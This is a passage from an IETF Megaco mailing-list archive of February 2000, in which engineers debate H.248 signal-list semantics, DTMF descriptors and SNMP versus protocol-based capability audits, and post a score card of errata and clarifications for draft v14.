Windows NT v1.1a) with SMTP id <0.28FE4170@standards.nortelnetworks.com>; Tue, 1 Feb 2000 14:39:35 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 13:41:09 -0600 Received: from zrchb213.us.nortel.com by zmers013; Tue, 1 Feb 2000 14:40:52 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1BKLGG6R>; Tue, 1 Feb 2000 13:40:50 -0600 X-Mailer: Internet Mail Service (5.5.2448.0) Message-ID: Date: Tue, 1 Feb 2000 13:40:43 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: FW: DTMF and Signals descriptor To: MEGACO@STANDARDS.NORTELNETWORKS.COM May I restate the proposal to the list: signal lists are made up of signals which have duration and type -- they do not themselves have duration or type. Comments? > -----Original Message----- > From: Rosen, Brian [SMTP:brosen@FORE.COM] > Sent: Wednesday, January 26, 2000 3:58 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: DTMF and Signals descriptor > > Right, but are you in agreement that signal lists don't have > signal type or duration parameters? > > Brian > > > -----Original Message----- > > From: John Segers [mailto:jsegers@LUCENT.COM] > > Sent: Tuesday, January 25, 2000 8:22 AM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Re: DTMF and Signals descriptor > > > > > > "Rosen, Brian" wrote: > > > > > > This doesn't make sense to me; why would you be able to change the > > > SignalType but not the duration. If you want signal lists > > to not have > > > duration, they should not have signal type. That is okay > > with me, the > > > signal type is then always defined by the last signal. > > > > Not by the last signal. It's a little more complicated: > > - only the last in the sequence can be on/off. If so, the type of the > > list is on/off; > > - if the last in the sequence is not on/off, and there is an > > element in > > the sequence with type timout, the type of the list is timeout; > > - if all elements of the sequence are type brief, then the > > list is type > > brief. > > > > John > > > > > Brian > > > > > > > -----Original Message----- > > > > From: John Segers [mailto:jsegers@LUCENT.COM] > > > > Sent: Tuesday, January 25, 2000 3:16 AM > > > > To: MEGACO@standards.nortelnetworks.com > > > > Subject: Re: DTMF and Signals descriptor > > > > > > > > > > > > Jo, Brian, > > > > > > > > I changed the occurrence of "sequential play list" to > > > > "sequential signal > > > > list". > > > > > > > > It doesn't make sense to me to define the duration of a > > seq. signal > > > > list. So in the paragraph on sequential signal lists, I > > propose to add > > > > the following sentence: "The duration of a sequential > > signal list with > > > > type timeout is equal to the sum of the durations of the > > signals it > > > > contains." > > > > > > > > John > > > > > > > > "Rosen, Brian" wrote: > > > > > > > > > > See comments below > > > > > > > > > > > -----Original Message----- > > > > > > From: Jo Friedman [mailto:jo@aztek-eng.com] > > > > > > Sent: Monday, January 24, 2000 5:42 PM > > > > > > To: MEGACO@standards.nortelnetworks.com > > > > > > Subject: DTMF and Signals descriptor > > > > > > > > > > > > > > > > > > Please tell me if I'm correct in assuming that there > > are at least > > > > > > two ways for the MGC to request the MG to signal DTMF > > digits on a > > > > > > physical termination. I also have some V13 comments related to > > > > > > the signal descriptor below. > > > > > > > > > > > > Are both of these correct for dialing '125'? > > > > > > > > > > > > Signals { > > > > > > dg/pt { > > > > > > ind=100, ; interdigit duration > > > > > > tl=[d1,d2,d5] ; dtmf digits 125 > > > > > > } > > > > > > } > > > > > > In this case how is the signal duration specified? > > > > > Since the default SignalType for dtmf digits is BRief, the > > > > duration is > > > > > fixed (or provisioned) it could be overriden by using the > > > > duration parameter > > > > > > > > > > to specify something else. SignalType and Duration are > > > > available for every > > > > > signal. > > > > > > > > > > > > > > > > > or > > > > > > > > > > > > SignalList = 10 { > > > > > > SignalType=Timeout, > > > > > > Duration=250, > > > > > > dg/d1, > > > > > > dg/d2, > > > > > > dg/d5 > > > > > > } > > > > > Yes > > > > > > > > > > > V13 comments: > > > > > > In 7.1.11 the last sentence of the 1st paragraph refers to > > > > > > "sequential play lists". I assume that is the same as > > "sequential > > > > > > signal lists" so it should be replaced to avoid confusion. > > > > > Yes, we should fix this > > > > > > > > > > > > > > > > > In the ABNF for signalListParm the preceding comments contains > > > > > > the phrase "at most once duration and every signal > > parameter". I > > > > > > understand "at most once duration" but I don't > > understand what is > > > > > > meant to be conveyed by the rest of the phrase. > > > > > I think it means that a parameter to a signal can only > > > > occur once per > > > > > signal instance in the list (but signal can occur more than > > > > once, and > > > > > in each case signal parameters can be included (once). > > > > > > > > > > > > > > > > > In the ABNF for signalListParm if SigSignalType=Timeout is > > > > > > sigDuration required? The description of timeout in 7.1.11 > > > > > > implies if there is no duration the signal is played > > until it is > > > > > > turned off. In a signal list this doesn't make sense > > because the > > > > > > first signal in the list would be the only signal played, > > > > > > wouldn't it? > > > > > I don't think we talked about this. A normal signal has a > > > > default duration > > > > > and if not specified, that is what you use. A signal list > > > > does not have > > > > > a default duration. At the moment, I'd say it's an > > error to specify > > > > > SignalType = TimeOut and not specify Duration. > > > > > > > > > > > > > > > > > Thanks for any clarifications! > > > > > > Jo > > > > > > > > > > > > > > > > Brian > > > > > > > > -- > > > > John Segers email: > > jsegers@lucent.com > > > > Lucent Technologies > > Room HE 306 > > > > Dept. Forward Looking Work phone: > > +31 35 687 4724 > > > > P.O. Box 18, 1270 AA Huizen fax: > > +31 35 687 5954 > > > > > > > > -- > > John Segers email: jsegers@lucent.com > > Lucent Technologies Room HE 306 > > Dept. Forward Looking Work phone: +31 35 687 4724 > > P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 15:03:17 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00909 for ; Tue, 1 Feb 2000 15:03:17 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.19FECF70@standards.nortelnetworks.com>; Tue, 1 Feb 2000 15:00:39 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17885 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 14:59:07 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E3966F60@standards.nortelnetworks.com>; Tue, 1 Feb 2000 14:59:07 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 14:00:09 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 1 Feb 2000 14:59:35 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1A9LNCGL>; Tue, 1 Feb 2000 14:59:34 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6CEE.DB807B70" Message-ID: Date: Tue, 1 Feb 2000 14:59:32 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: MG to MGC database coordination using SNMP X-To: Arik Klein To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6CEE.DB807B70 Content-Type: text/plain Basically the agreement is to accept redundancy in the means of providing this information. We are developing the capabilities both in the Megaco protocol and in MIBs. There are a couple of reasons for this -- timeliness of information flow to the MGC, and the possibility that the network is configured so that the MGC does not have direct access to SNMP. I haven't been able to put my finger on the thread of discussion related to this issue -- maybe someone else can remember. > -----Original Message----- > From: Arik Klein [SMTP:Arik_Klein@TELEDATA.CO.IL] > Sent: Wednesday, January 26, 2000 9:57 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: MG to MGC database coordination using SNMP > > As I understand so far, H.248 intends to provide whatever is necessary for > the MGC to learn the MG's terminations structure and properties (using > AuditCapabilities). > Now, assuming that we are talking about a heavy MG, where we have an > hierarchical tree of terminations, wouldn't it be better to use SNMP just > for the database learning by the MGC ? > Is this a new idea or was it raised on the list and rejected for some > reason > ? > > Thanks, > Arik ------_=_NextPart_001_01BF6CEE.DB807B70 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: MG to MGC database coordination using SNMP

Basically the = agreement is to accept redundancy in the means of providing this = information.  We are developing the capabilities both in the = Megaco protocol and in MIBs.  There are a couple of reasons for = this -- timeliness of information flow to the MGC, and the possibility = that the network is configured so that the MGC does not have direct = access to SNMP.  I haven't been able to put my finger on the = thread of discussion related to this issue -- maybe someone else can = remember.

    -----Original Message-----
    From:   Arik Klein = [SMTP:Arik_Klein@TELEDATA.CO.IL]
    Sent:   Wednesday, January 26, 2000 9:57 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = MG to MGC database coordination = using SNMP

    As I understand so far, H.248 intends = to provide whatever is necessary for
    the MGC to learn the MG's = terminations structure and properties (using
    AuditCapabilities).
    Now, assuming that we are talking = about a heavy MG, where we have an
    hierarchical tree of terminations, = wouldn't it be better to use SNMP just
    for the database learning by the MGC = ?
    Is this a new idea or was it raised = on the list and rejected for some reason
    ?

    Thanks,
    Arik

------_=_NextPart_001_01BF6CEE.DB807B70-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 16:37:59 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05135 for ; Tue, 1 Feb 2000 16:37:58 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.558AB970@standards.nortelnetworks.com>; Tue, 1 Feb 2000 16:35:22 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18001 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 16:34:00 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.246C6A00@standards.nortelnetworks.com>; Tue, 1 Feb 2000 16:33:59 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 15:33:38 -0600 Received: from zrchb213.us.nortel.com by zmers013; Tue, 1 Feb 2000 16:33:20 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1BKLGK65>; Tue, 1 Feb 2000 15:33:19 -0600 X-Mailer: Internet Mail Service (5.5.2448.0) Message-ID: Date: Tue, 1 Feb 2000 15:33:16 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Issue Score Card (Tuesday edition) To: MEGACO@STANDARDS.NORTELNETWORKS.COM Here's my take on agreed fixes to the v14.doc/protocol-05.txt. I've managed to work my way back Chip's series of messages on Jan. 25. More tomorrow. The note is meant to track issues raised from 14 Jan 2000 onwards. This date seemed to be a reasonable starting point, since that is effectively when work on v14 started. Disposition of the issues is one of: -- "error", denoting something broken or inconsistent in current text, which will go into an errata sheet for rectification in Geneva; or -- "clarification needed", which will probably go into the H.248v1 Implementor's Guide (but once there, can perhaps be incorporated directly into the Megaco RFC), or -- "missing functionality" which we'll have to allocate to H.248v1 or H.248v2. Errata ===== Section affected: 7.1.14. Erratum: paragraph beginning "In addition to these event symbols, the string may contain ..." The "S" duration modifier is unexplained and should be deleted. Erratum: replace the numbered steps from 3 onwards in the description of processing behaviour near the end of the section with the following: "3. If the result does not match any entry and is under-qualified (partially matches at least one entry in the DigitMap), do nothing further. "4. If the result is a match and is under-qualified (partially matches at least one other entry in the DigitMap), apply the short timer and await further digits. If the timer expires and no digits are received or an end-of-dialing indication is received, send the current dial string to the MGC. If one or more digits are received apply steps 1 through 5 again. "5. If the result is a match and is over-qualified (i.e., no further digits could possibly produce a match), send the current dial string to the MGC using the completion event defined in the package whose events are being mapped into the digit map string." Reference: Selvam Rengasami, 27/01/00, Telcordia SG 16: Comments on 7.1.13 on DigitMaps in H.248 Erratum: example at end of section. The "L" and "S" modifiers should be deleted. The "*" and "#" symbols should instead be "E" and "F" in accordance with the mapping in the DTMF detection event package (see erratum for section E.6). Section affected: 7.2.5 Erratum: third sentence before table at end, replace "unspecified" with "wildcarded". References: Raised: Madhu Babu, 14/01/00, "unspecified" Context Identifier for Audit Command also Selvam Rengaswami, 27/01/00, Telcordia SG16: Comments on 8.1.2 regarding ContextIDs in H.2 48 Fix per Brian Rosen, 14/01/00, "unspecified" Context Identifier for Audit Command Section affected: 7.2.8 Erratum: bullets summarizing use of ServiceChange parameters. For ServiceChangeAddress, replace "mandatory" by "optional", leaving rest of bullet unchanged. Reference: Chuong Nguyen, 31/01/00, ServiceChangeAddress Section affected: 8.3 Erratum: second paragraph. Delete reference to RFC 2145. Add version number for current version. Hence the second sentence should now read: "Versions consist of one or two digits, beginning with version 1 for the initially-decided version of H.248." Reference: Jo Friedman, 24/01/00, Question about Protocol Version Section affected: 9. Erratum: in second paragraph, where IP ports are specified: expect to obtain the same value of port number for both TCP and UDP, but a different set of ports for text vs. binary operation. Raised: Christian Huitema, 14/01/00, FW: Application for port-number Status: Chair has applied for second pair of port numbers for binary operation. Assigned port numbers should be known before decision of H.248. Section affected: 11.1 Erratum: final paragraph: delete final sentence, which currently states "ServiceChange may only be applied to the Root by Master MGC". Reference: Chip Sharp, 25/01/00, Cisco SG16: Virtual MG & Root Section affected: Annex A, section A.2 Erratum: delete OPTIONAL for the auditDescriptor term in the AuditRequest production. Reference: Sachin Mittal, 31/01/00, v 14: Change required in Audit command description Section affected: Annex A, section A.3 Erratum: in production "digitLetter", "ditigMapLetter" should be replaced by "digitMapLetter". Erratum: in accordance with section 7.1.14, the production "digitMapLetter" should include the following symbols only: "0" through "9", "A" through "K", and the long duration modifier "L". Production MFsig should be deleted. Section affected: Annex B, section B.2 Erratum: delete OPTIONAL for the auditDescriptor term in the AuditRequest production. Reference: Sachin Mittal, 31/01/00, v 14: Change required in Audit command description Erratum: in accordance with section 7.1.14, the production "digitMapLetter" should include the following symbols only: "0" through "9", "A" through "K", and the long duration modifier "L". Production MFsig should be deleted. Section affected: Annex E, section E.5.3 Erratum: event name d* is not a legal production, and should be changed to ds ("s" for "star"). Similarly, event name d# should become do ("o" for "octothorpe"). Reference: Tom Taylor, 27/01/00, Cisco SG16: Comment on E.3.4 Section affected: Annex E, section E.6.2 Erratum: include the following text and table to provide mapping between DTMF events and digit map symbols: "The following table maps DTMF events to digit map symbols, for use as described in section 7.1.14:" DTMF Event Digit Map Symbol d0 (0x0010) "0" d1 (0x0011) "1" d2 (0x0012) "2" ... ... d9 (0x0019) "9" da (0x001a) "A" db (0x001b) "B" dc (0x001c) "C" dd (0x001d) "D" ds (0x0020) "E" do (0x0021) "F" Reference: Chip Sharp, 25/01/00 and Tom Taylor, 27/01/00, Cisco SG16: Comment on E.3.4 Erratum: delete reference to MF digits in the list of possible values. The latter must be defined in a separate package. Section affected: E.9.2 Erratum: add the following behavioural description to the "onhook" event: "If the first event descriptor after (re)establishment of MGC control over the specific termination concerned or the MG as a whole contains the on-hook event request and the line is already on-hook, the MG shall act as if on-hook had occurred immediately after the event descriptor became active." Erratum: add the following behavioural description to the "offhook" event: "If the first event descriptor after (re)establishment of MGC control over the specific termination concerned or the MG as a whole contains the oof-hook event request and the line is already off-hook, the MG shall act as if off-hook had occurred immediately after the event descriptor became active." Reference: Brian Rosen, 21/01/00, and subsequent discussion in the Preconditions thread, resolved by Tom Taylor, 25/01/00. Clarifications ========== Section affected: 7.1.5 Comment: if a command other than ServiceChange or Subtract is received for a terminationID which is in Test or Out of service state, the MG should reject the command with error 503 - Service unavailable. Reference: Sachin Mittal, 31/01/00, ServiceChange Section affected: 7.1.14 Comment: the events which are being mapped into a digit map descriptor are recognized as individual events as they are detected. In particular, regardless of the status of matching of the digit map, event detection will stop emission of signals in progress unless the KeepAlive parameter is set. Reference: Madhu Babu, 25/01/00 and subsequent discussion, Stopping of Dial tone Section affected: 7.2.8 Comment: Where the terminationID designates an individual termination the sender of the ServiceChange command should use the contextID of the context in which the termination currently lies. In any other usage the contextID has no significance for the processing of the ServiceChange command. Reference: Sachin Mittal, 27/01/00 and Tom Taylor, 31/01/00, Importance of ContextID in ServiceChange command Comment: If a termination is already in the Null context when a Graceful ServiceChange is issued/received, the serviceState must be set to "out of service" as soon as the delay has expired, or immediately if the delay is null. Reference: Sachin Mittal, 27/01/00, ServiceChange in Null context Comment: If the MGC issues a ServiceChange (restart) for a termination and it can be recovered (i.e. hasn't lost its bearer), the MG must act on the command. If the termination cannot be recovered the MG must reject the command with error return. Reference: Madhu Babu, 27/01/00 and Tom Taylor, 28/01/00, ServiceChange Issues Not Yet Resolved ================== Cisco SG16: Command Atomicity So far, comments from Chip Sharp (originator) and Brian Rosen in favour. I've been told that my Nortel colleagues hold a contrary view. I'm waiting for one of them to to attempt to persuade the list that this isn't necessary. Cisco SG16: Audit So far it looks like the only way to know the type of ephemeral network connections supported by an MG is through provisioning in the MGC. Possible alternatives: accept Brian Rosen's proposal that AuditValue can be applied to terminations which don't yet exist; allow AuditCapability to return a PackagesDescriptor as proposed by Chip Sharp; add Root properties in network-type-specific packages so AuditValue of Root will indicate what kind of ephemerals are supported. Since provisioning will work, this is "Missing Functionality for v2" unless we get quick agreement on a simple solution. Tom Taylor Advisor -- IPConnect Standards E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) Phone and FAX: +1 613 736 0961 Tom Taylor Advisor -- IPConnect Standards E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) Phone and FAX: +1 613 736 0961 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 16:48:03 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05659 for ; Tue, 1 Feb 2000 16:48:01 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BD24D470@standards.nortelnetworks.com>; Tue, 1 Feb 2000 16:45:25 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18046 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 16:44:45 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A4C311D0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 16:44:44 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 15:45:39 -0600 Received: from zrtpd00y.us.nortel.com by zmers013; Tue, 1 Feb 2000 16:45:24 -0500 Received: by zrtpd00y.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1DHV7RSC>; Tue, 1 Feb 2000 16:45:24 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6CFD.A4C13C5A" Message-ID: <5F68FAE98163D21193750000F81AC9BE010FDE30@zrtpd00x.us.nortel.com> Date: Tue, 1 Feb 2000 16:45:18 -0500 Reply-To: David Cromwell Sender: "Media Gateway Control (megaco)" From: David Cromwell Subject: Re: MG to MGC database coordination using SNMP To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6CFD.A4C13C5A Content-Type: text/plain If you use SNMP to convey this information, call processing, which must typically be highly available, becomes dependent on the SNMP system which may not meet the same standards of availability. Even if it does have the same availability, you now have two things to break instead of one so you still wind up with reduced call processing availability. If this information is carried in the protocol then call processing will be able to function even if the SNMP system is down. Since a majority of audits to discover MG capabilities will be likely be done at MG initialization, auditing a "heavy MG" shouldn't present a problem because it is a one time operation that occurs before any calls are routed to the MG. David -- cromwell@nortelnetworks.com Nortel Networks ESN: 351-8870 35 Davis Dr Public: 919-991-8870 RTP, NC 27709 > -----Original Message----- > From: Taylor, Tom-PT [CAR:B904:EXCH] > Sent: Tuesday, February 01, 2000 3:00 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: MG to MGC database coordination using SNMP > > Basically the agreement is to accept redundancy in the means of providing > this information. We are developing the capabilities both in the Megaco > protocol and in MIBs. There are a couple of reasons for this -- > timeliness of information flow to the MGC, and the possibility that the > network is configured so that the MGC does not have direct access to SNMP. > I haven't been able to put my finger on the thread of discussion related > to this issue -- maybe someone else can remember. > > -----Original Message----- > From: Arik Klein [SMTP:Arik_Klein@TELEDATA.CO.IL] > Sent: Wednesday, January 26, 2000 9:57 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: MG to MGC database coordination using SNMP > > As I understand so far, H.248 intends to provide whatever is > necessary for > the MGC to learn the MG's terminations structure and properties (using > AuditCapabilities). > Now, assuming that we are talking about a heavy MG, where we have an > hierarchical tree of terminations, wouldn't it be better to use SNMP just > for the database learning by the MGC ? > Is this a new idea or was it raised on the list and rejected for some > reason > ? > > Thanks, > Arik > ------_=_NextPart_001_01BF6CFD.A4C13C5A Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: MG to MGC database coordination using SNMP

If you use SNMP to = convey this information, call processing, which must typically be = highly available, becomes dependent on the SNMP system which may not = meet the same standards of availability.  Even if it does have the = same availability, you now have two things to break instead of one so = you still wind up with reduced call processing availability.  =

If this information = is carried in the protocol then call processing will be able to = function even if the SNMP system is down.  Since a majority of = audits to discover MG capabilities will be likely be done at MG = initialization, auditing a "heavy MG" shouldn't present a = problem because it is a one time operation that occurs before any calls = are routed to the MG.

David
--
cromwell@nortelnetworks.com     =             =             =             = Nortel Networks    
ESN:         = ;   = 351-8870          &nbs= p;           &nbs= p;           &nbs= p;           &nbs= p;      35 Davis Dr
Public:    = 919-991-8870          =             =             =             =        RTP, NC 27709

    -----Original Message-----
    From:   Taylor, Tom-PT [CAR:B904:EXCH]
    Sent:   Tuesday, February 01, 2000 3:00 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: MG to MGC database coordination = using SNMP

    Basically the = agreement is to accept redundancy in the means of providing this = information.=A0 We are developing the capabilities both in the Megaco = protocol and in MIBs.=A0 There are a couple of reasons for this -- = timeliness of information flow to the MGC, and the possibility that the = network is configured so that the MGC does not have direct access to = SNMP.=A0 I haven't been able to put my finger on the thread of = discussion related to this issue -- maybe someone else can = remember.

            -----Original Message----- From:=A0=A0 Arik Klein = [SMTP:Arik_Klein@TELEDATA.CO.IL]
    Sent:=A0=A0 Wednesday, January 26, 2000 9:57 AM
    To:=A0=A0=A0=A0 = MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:=A0=A0=A0=A0=A0=A0=A0 MG to MGC database = coordination using SNMP

            As I understand so far, H.248 intends to provide = whatever is necessary for
    the MGC to learn the MG's = terminations structure and properties (using
    AuditCapabilities).
    Now, assuming that we are talking = about a heavy MG, where we have an
    hierarchical tree of terminations, = wouldn't it be better to use SNMP just
    for the database learning by the = MGC ?
    Is this a new idea or was it = raised on the list and rejected for some reason
    ? =

            Thanks,
    Arik =

------_=_NextPart_001_01BF6CFD.A4C13C5A-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 17:23:14 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07542 for ; Tue, 1 Feb 2000 17:23:14 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A30EDFE0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:20:29 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18072 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 17:20:04 -0500 Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2E981330@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:10:04 -0500 Received: from aiglos.trillium.com (unverified) by turin.trillium.com (Content Technologies SMTPRS 4.1.2) with ESMTP id ; Tue, 1 Feb 2000 14:17:46 -0800 Received: from gaea.trillium.com (gaea.trillium.com [192.168.1.11]) by aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id OAA08475; Tue, 1 Feb 2000 14:11:52 -0800 (PST) Received: by gaea.trillium.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 14:09:28 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01BF6D01.01FDCE4E" Message-ID: Date: Tue, 1 Feb 2000 14:09:20 -0800 Reply-To: Mukesh Goel Sender: "Media Gateway Control (megaco)" From: Mukesh Goel Subject: FW: Experience California X-To: "agupta@ti. com (E-mail)" , "biplav. srivastava@vlsi. com (E-mail)" , "bnainani@us. oracle. com (E-mail)" , "djoshi@numeritech. com (E-mail)" , "garg@sindhu. sageindia. co. in (E-mail)" , "manikant. gupta@ps. ge. com (E-mail)" , "njsrivas@us. oracle. com (E-mail)" , "prabs@cs. umd. edu (E-mail)" , "ranjanprakash@HOTMAIL. COM (E-mail)" , "somani@almaden. ibm. com (E-mail)" , "sunil@trillium. com (E-mail)" , "tewari@wipinfo. soft. net (E-mail)" , "umesh_singhal@HOTMAIL. COM (E-mail)" , "vijendra@softplus. com (E-mail)" , "vikas. goyal@ps. ge. com (E-mail)" , "vishal_mehrotra@HOTMAIL. COM (E-mail)" To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01BF6D01.01FDCE4E Content-Type: text/plain; charset="iso-8859-1" Hi, Nice page about real californian experience. Mukesh ------_=_NextPart_000_01BF6D01.01FDCE4E Content-Type: TEXT/html; name="calif.html" Content-Disposition: attachment; filename="calif.html" Experience California

Experience California Like never before


For those of you who don't live in California, you can now experience what it's (might be)like.

  Pleasant
  Great
  Shocking
  Devastating

------_=_NextPart_000_01BF6D01.01FDCE4E-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 17:42:16 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA08389 for ; Tue, 1 Feb 2000 17:42:15 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4C591F50@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:39:32 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18120 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 17:37:41 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.09EFA080@standards.nortelnetworks.com>; Tue, 1 Feb 2000 17:37:41 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 16:38:59 -0600 Received: from zrchb213.us.nortel.com by zmers013; Tue, 1 Feb 2000 17:38:49 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1BKLGMTN>; Tue, 1 Feb 2000 16:38:46 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6D05.19D69CA4" Message-ID: <29400B68197CD31188830000F8CD15D343BBF4@zcard00q.ca.nortel.com> Date: Tue, 1 Feb 2000 16:38:43 -0600 Reply-To: Peter Blatherwick Sender: "Media Gateway Control (megaco)" From: Peter Blatherwick Subject: Re: Meaning Of Wildcarded PackageID X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6D05.19D69CA4 Content-Type: text/plain Tom, list: Our current production for pkgdName applies to eventsDescriptors (setting of requests and receiving results) and to propertyParm (for setting/getting properties). I think the events aspect is more important than the properties aspect. For eventsDescriptors, this allows 4 cases: 1) PackageName/ItemID : Useful for the general, fully specified case. Gotta have it. 2) PackageName/* : Useful to get all events from particular elements, or just as a shortcut for elements that have a large number of event types to monitor, to trade bandwidth to describe events vs bandwidth to report them. I expect this would be used quite often, for example in tone detection. 3) */* : Definitely very useful for small, simple applications where the MGC wants to see all events, all the time. 4) */ItemID : I don't see any immediate need for this one. It does seem rather ambiguous in terms of name space, and would also be a bit onerous to process in any MG with a lot of packages. Therefore, for eventsDescriptors, I think it makes sense to alter the production to allow cases 1-3 above, and disallow case 4. For properties, I don't see a clear use for cases 2 - 4. Therefore, I'd suggest disallow all but case 1. However, I don't see the properties aspect as a big deal (unlike events), so if its more compact to leave it the same as for events, then I say so be it. -- Peter > -----Original Message----- > From: Taylor, Tom-PT [CAR:B904:EXCH] > Sent: 1 Feb, 2000 13:32 > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Meaning Of Wildcarded PackageID > > Our ABNF pkgdName production shows the possibility of using "*" instead of > the package name. What is this supposed to mean? I don't like the look > of > it -- it suggests the possibility of unintended name space collisions. > > Tom Taylor > Advisor -- IPConnect Standards > E-mail: taylor@nortelnetworks.com (internally, Tom-PT 